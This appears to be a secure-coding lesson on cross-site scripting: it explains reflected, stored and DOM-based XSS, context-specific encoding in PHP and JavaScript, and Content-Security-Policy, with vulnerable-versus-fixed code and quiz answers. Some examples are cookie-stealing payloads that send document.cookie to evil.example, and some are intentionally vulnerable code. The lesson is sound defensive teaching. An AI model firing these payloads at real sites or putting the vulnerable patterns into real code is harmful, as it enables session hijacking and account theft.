Cross-Site Scripting: Reflected, Stored, DOM-Based, and Context-Sensitive Encoding
Distinguish reflected, stored, and DOM-based XSS, apply the correct context-sensitive output encoding for HTML body, JavaScript-string, CSS, and URL contexts, and use Content-Security-Policy as a defense-in-depth layer against whatever slips through.
Cross-site scripting (XSS) happens when untrusted data ends up being interpreted as CODE -- specifically JavaScript, but also sometimes CSS -- inside a page a victim's browser renders, rather than staying inert as DATA. It's one of the most common web vulnerabilities precisely because it's easy to introduce by accident: printing a value into a page without thinking about WHICH part of the page it lands in. This lesson covers the three shapes XSS takes (reflected, stored, DOM-based), and the detail most tutorials skim past: htmlspecialchars() is the right defense for one specific context -- inside an HTML element's text or attribute -- and using it everywhere, including inside a <script> block or a style attribute, is not actually safe. Every context needs its own encoding function, and Content-Security-Policy adds a second, independent layer of protection for when a bug still gets through.
Reflected, Stored, and DOM-Based XSS
Reflected XSS happens when untrusted input is echoed back in the SAME response that carried it, with no persistence involved -- the classic example is a search page that prints "Results for: " . $_GET['q'] directly into the HTML. The attacker crafts a URL containing a script payload in the query string and sends it to a victim (in a phishing email, a chat message, a malicious link); when the victim clicks it, their own browser sends the request, the server reflects the payload back, and it executes in the victim's session. The attack requires the victim to click a specific crafted link -- it isn't stored anywhere, so each victim has to be individually lured.
Stored XSS is more severe because the payload is saved on the server -- in a database, a comment thread, a user profile field -- and then served to EVERY visitor who views that stored content, with no crafted link required at all. A comment box that saves raw HTML and later renders it unescaped for every reader of that page is the textbook case: one attacker posts a single malicious comment once, and every subsequent visitor's browser executes it. This is why any user-generated content that gets persisted and later displayed to OTHER users deserves particular scrutiny -- the blast radius is every viewer, not just whoever clicks a link.
DOM-based XSS is different from the first two in an important way: the payload never has to touch the server's response body at all. It happens entirely in the browser, when client-side JavaScript reads an untrusted value -- commonly location.hash, location.search, or document.referrer -- and writes it into the DOM through a sink like innerHTML without encoding it. Because the server never sees the dangerous part of the URL (a #fragment is never even sent to the server), server-side output encoding alone cannot catch this class -- the fix has to live in the client-side JavaScript itself, by using textContent instead of innerHTML for untrusted values, or by encoding before any DOM-writing sink.
• Reflected XSS: payload travels in the request (usually the URL) and is echoed back in that same response -- requires a victim to click a crafted link. • Stored XSS: payload is saved server-side (a comment, a profile field) and served to every subsequent visitor -- no crafted link needed, larger blast radius. • DOM-based XSS: happens entirely client-side -- untrusted data (location.hash, document.referrer) flows into a DOM sink (innerHTML) in JavaScript, never touching the server response body. • Server-side output encoding alone cannot stop DOM-based XSS -- the fix must live in the client-side JavaScript.
Context-Sensitive Output Encoding: One Function Is Not Enough
The single most important idea in defending against XSS is that the CORRECT way to encode a value depends entirely on WHERE in the page it's being written -- there is no one universal escaping function. htmlspecialchars() converts <, >, &, ", and ' into their HTML entity equivalents, and it is exactly right for the HTML-body and HTML-attribute contexts: printing a value between tags (<p><?= htmlspecialchars($name) ?></p>) or inside a quoted attribute (<input value="<?= htmlspecialchars($value) ?>">). In those two contexts, entity-encoding the special characters means the browser's HTML parser can never mistake the data for a new tag or attribute boundary.
But the SAME function is not safe inside a <script> block, because JavaScript's parser doesn't care about < and > the way HTML's does -- it cares about quote characters, backslashes, and </script> sequences. A value like '; alert(1); // passed through htmlspecialchars() comes out completely unchanged (none of those characters are HTML-special) and, if printed raw inside a JS string literal, breaks out of the string and executes as code. The correct tool there is json_encode(), which properly escapes quotes, backslashes, and produces a value that's always safe to embed as a JavaScript string literal. Similarly, a CSS context (an attacker-influenced value inside a style attribute or <style> block) needs CSS-specific escaping -- untrusted data should generally be kept OUT of CSS contexts entirely, restricted to safe, validated values like a pre-approved color name or hex code, since CSS injection can be used to exfiltrate data via attribute selectors. And a URL context (a value placed inside an href or src, or a query-string parameter being built) needs rawurlencode() for path/query segments, plus a check that the scheme itself is expected (http/https, never javascript:) when the whole URL is user-influenced.
The practical rule: identify which of the four contexts a value is landing in -- HTML body/attribute, JavaScript string, CSS, or URL -- before deciding how to encode it, and never assume htmlspecialchars() covers all four just because it's the one most people reach for first. Mixing contexts (e.g. printing a PHP variable into an inline onclick="..." attribute, which is BOTH an HTML attribute AND a JavaScript context at once) is a common source of subtle bugs; the safest fix there is usually to avoid inline event-handler attributes entirely and attach listeners from a separate <script> block instead.
• HTML body/attribute context -> htmlspecialchars($value, ENT_QUOTES | ENT_HTML5, 'UTF-8') • JavaScript string context -> json_encode($value) to embed as a JS string literal, never htmlspecialchars() • CSS context -> avoid untrusted data in CSS entirely; restrict to a validated allowlist (e.g. a fixed set of color names) • URL context -> rawurlencode() for path/query pieces, plus a scheme allowlist (http/https only) if the whole URL is user-influenced • A value can be in TWO contexts at once (e.g. inline onclick="..." is both HTML-attribute and JS) -- avoid the mixed case by not using inline event handlers.
Content-Security-Policy: Defense in Depth for XSS
Output encoding is the primary defense against XSS, but a Content-Security-Policy (CSP) response header adds an independent second layer that limits what an injected script can actually DO even if an encoding bug slips one through. CSP works by having the browser enforce a policy the server declares: Content-Security-Policy: default-src 'self'; script-src 'self' tells the browser to only execute scripts loaded from the page's own origin, refusing to run inline <script> blocks or scripts from any other host. If an attacker's payload is <script>fetch('https://evil.example/steal?c='+document.cookie)</script>, a strict CSP without 'unsafe-inline' simply refuses to execute that inline script at all -- the injection succeeded in landing in the HTML, but the browser never runs it.
A strong CSP avoids 'unsafe-inline' and 'unsafe-eval' in script-src, since both effectively disable the protection CSP offers against inline-script XSS. For applications that genuinely need some inline scripts, a per-request nonce (script-src 'nonce-<random-value>', with the same random value added as a nonce="..." attribute on each legitimate inline <script> tag) lets specific, server-generated inline scripts run while still blocking anything an attacker manages to inject, since the attacker cannot predict the per-request nonce value. CSP is deployed as a real HTTP header (or, less robustly, a <meta> tag), and it's worth rolling out in Content-Security-Policy-Report-Only mode first against a reporting endpoint, so violations can be observed and the policy tuned before it's switched to enforcing mode and starts actually blocking things.
• CSP is a browser-enforced HTTP header that restricts which sources scripts (and other resources) may load/execute from. • A strict script-src (no 'unsafe-inline', no 'unsafe-eval') means even a successfully injected <script> tag simply won't run. • Per-request nonces (script-src 'nonce-...') let legitimate inline scripts run while blocking attacker-injected ones, since the nonce isn't predictable. • CSP is defense in depth, not a replacement for output encoding -- it limits the damage of a bug that already happened, it doesn't prevent the bug. • Roll out with Content-Security-Policy-Report-Only first to observe violations before enforcing.
Code Examples
The vulnerable version writes the query parameter straight into the HTML body, so any HTML/script markup in it becomes part of the page's real structure. htmlspecialchars() with ENT_QUOTES converts '<', '>', '&', and both quote characters into entities, so the same input is rendered as inert TEXT no matter what it contains.
Common mistake: Assuming a value is 'safe' because it only appears briefly in one response (reflected) rather than being stored -- reflected XSS is just as capable of stealing a session or performing actions as the victim, it just needs a crafted link instead of a stored payload.
The fix encodes at render time, which is the correct place -- encoding once at storage time and assuming it's 'handled' forever is fragile, because the same stored value might later be rendered into a different context (an email, a JSON API response, a mobile app) where HTML entity encoding is either wrong or irrelevant. Encode for the context you're outputting INTO, every time you output into it.
Because the payload lives in the URL fragment (after #), it is never sent to the server at all -- server-side PHP output encoding has no opportunity to intervene, since PHP never sees this value. The fix has to be in the client-side JavaScript: textContent assigns the string as literal text, never parsing it as HTML, which closes the DOM-based XSS path entirely for this sink.
Common mistake: Believing that because a PHP application encodes everything it outputs, the app is safe from XSS -- DOM-based XSS lives entirely in client-side JavaScript and server-side encoding never even sees it.
htmlspecialchars() only knows about HTML-special characters; it does nothing useful for JavaScript's own string-literal escaping rules, so a value crafted to break out of a single-quoted JS string sails right through it unchanged. json_encode() is built specifically to produce a valid, safely-escaped JavaScript value (including its own surrounding quotes), which is exactly what the JS-string context needs. JSON_HEX_TAG additionally escapes '<' and '>' so the output also can't prematurely close the surrounding </script> tag.
<?php
// -- ILLUSTRATIVE, VULNERABLE PATTERN -- DO NOT USE --
// Echoes the query string directly into the HTML body with no encoding.
// A URL like ?q=<script>document.location='https://evil.example/steal?c='+document.cookie</script>
// executes in the victim's browser when they click a crafted link.
$q = $_GET['q'] ?? '';
echo "<p>Results for: {$q}</p>"; // DANGER: raw, unencoded output
// -- SECURE FIX --
$q = $_GET['q'] ?? '';
echo '<p>Results for: ' . htmlspecialchars($q, ENT_QUOTES | ENT_HTML5, 'UTF-8') . '</p>';<?php
// -- ILLUSTRATIVE, VULNERABLE PATTERN -- DO NOT USE --
// Saves and later renders a comment with no output encoding at display time.
// One malicious comment, saved once, executes for every subsequent viewer.
foreach ($comments as $comment) {
echo "<div class='comment'>{$comment['body']}</div>"; // DANGER
}
// -- SECURE FIX --
// Encode at the point of OUTPUT, not at the point of storage -- store the
// raw text as-is, and encode every time it's rendered into HTML.
foreach ($comments as $comment) {
echo '<div class="comment">'
. htmlspecialchars($comment['body'], ENT_QUOTES | ENT_HTML5, 'UTF-8')
. '</div>';
}// -- ILLUSTRATIVE, VULNERABLE PATTERN -- DO NOT USE --
// Reads the URL fragment and writes it into the DOM via innerHTML.
// The server never even sees the fragment (#...) -- this never touches PHP.
const name = decodeURIComponent(location.hash.slice(1));
document.getElementById('greeting').innerHTML = `Hello, ${name}!`; // DANGER
// -- SECURE FIX --
// textContent never interprets its value as HTML -- it's always inert text.
const name = decodeURIComponent(location.hash.slice(1));
document.getElementById('greeting').textContent = `Hello, ${name}!`;<?php
$username = $_SESSION['username']; // e.g. '); alert(document.cookie); //
// -- ILLUSTRATIVE, VULNERABLE PATTERN -- DO NOT USE --
// htmlspecialchars() does not escape quotes/backslashes the way a JS string
// literal needs -- it's the wrong context. A username like the one above
// breaks out of the string and injects a new statement.
echo "<script>var user = '" . htmlspecialchars($username) . "';</script>"; // DANGER
// -- SECURE FIX --
// json_encode() produces a value that is always safe to embed directly as
// a JavaScript literal -- quotes, backslashes, and unicode are all escaped
// correctly for the JS-string context.
echo '<script>var user = ' . json_encode($username, JSON_HEX_TAG | JSON_HEX_APOS) . ';</script>';Same Value, Four Different Encoding Targets
One value, four possible destinations, four different (correct) encoding functions -- there is no single universal escape.
$value = "user input"
|
+--> printed in HTML body/attribute --> htmlspecialchars($value, ENT_QUOTES)
|
+--> printed inside <script>...</script> --> json_encode($value)
|
+--> printed inside style="..." / <style> --> avoid; validate against an allowlist
|
+--> printed inside href="..." / src="..." --> rawurlencode() + scheme allowlistImportant Rules
Identify the output context (HTML body/attribute, JS string, CSS, URL) before choosing an encoding function -- never assume one function covers all contexts.
Use htmlspecialchars($value, ENT_QUOTES | ENT_HTML5, 'UTF-8') for HTML body and attribute contexts.
Use json_encode() to embed a PHP value as a JavaScript string literal -- never htmlspecialchars() for this.
Keep untrusted data out of CSS contexts; validate against an allowlist instead of trying to escape it.
Use rawurlencode() for URL path/query segments, and validate the scheme when the whole URL is user-influenced.
Encode at the point of OUTPUT, every time, for whatever context you're rendering into -- not once at storage time.
Deploy a strict Content-Security-Policy (no 'unsafe-inline'/'unsafe-eval') as a second, independent layer of defense.
Why This Matters in Practice
XSS remains one of the OWASP Top Ten precisely because of the context-mismatch mistake shown above -- production incidents regularly trace back to a value that was correctly htmlspecialchars()-encoded for an HTML context but then also got reused, unescaped-for-JS, inside an inline event handler or a <script> block on the same page. Modern frameworks' template engines (auto-escaping by default) exist largely to prevent exactly this class of mistake, and a CSP header is now standard practice specifically because it catches the cases that slip through auto-escaping anyway -- a compromised third-party script, a template engine's 'raw output' escape hatch used carelessly, or a bug in a less-audited legacy code path.
echo "<script>var user = '" . htmlspecialchars($username) . "';</script>";
echo '<script>var user = ' . json_encode($username, JSON_HEX_TAG | JSON_HEX_APOS) . ';</script>';
htmlspecialchars() encodes HTML-special characters, not JavaScript string-literal syntax; a value with a single quote and a semicolon can still break out of the JS string and inject code even after htmlspecialchars() has 'processed' it.
document.getElementById('out').innerHTML = untrustedValue;
document.getElementById('out').textContent = untrustedValue;
innerHTML parses its argument as HTML, so any markup/script-bearing string becomes live DOM content; textContent always treats the value as inert text, regardless of what it contains.
[multiple-choice] Which type of XSS never touches the server's response body at all, making server-side output encoding unable to prevent it? A. Reflected XSS B. Stored XSS C. DOM-based XSS D. Second-order XSS
C. DOM-based XSS — DOM-based XSS happens entirely in the browser, when client-side JavaScript reads untrusted data (like location.hash) and writes it into the DOM unsafely -- the server never sees the dangerous value, so only a client-side JavaScript fix (like using textContent) can prevent it.
[multiple-choice] A PHP value needs to be embedded as a string literal inside an inline <script> block. Which function should be used to encode it? A. htmlspecialchars() B. json_encode() C. urlencode() D. strip_tags()
B. json_encode() — json_encode() correctly escapes quotes, backslashes, and other JavaScript-string-literal-significant characters; htmlspecialchars() only escapes HTML-special characters and does not protect against breaking out of a JS string.
[true-false] True or False: deploying a strict Content-Security-Policy means output encoding is no longer necessary. A. True B. False
B. False — False -- CSP is defense in depth, a second independent layer that limits what an injected script can do. It does not prevent the underlying injection from happening; output encoding remains the primary defense.
A page prints a user-supplied 'theme color' both as an HTML attribute (<body class="theme-<?= $color ?>">) and inside an inline <style> block (.header { background: <?= $color ?>; }). Identify the two different contexts involved and the correct treatment for each.
The class attribute is an HTML-attribute context: htmlspecialchars($color, ENT_QUOTES) is correct there, though better still is validating $color against a fixed allowlist of known theme names before using it at all. The CSS context inside the <style> block should never receive raw user input -- CSS injection can exfiltrate data via attribute selectors and isn't safely fixed by any general-purpose escaping function -- so $color must be validated against an explicit allowlist of permitted values (e.g. a small set of predefined hex codes) before being placed there.
One of these two contexts should not receive raw user input at all, regardless of encoding.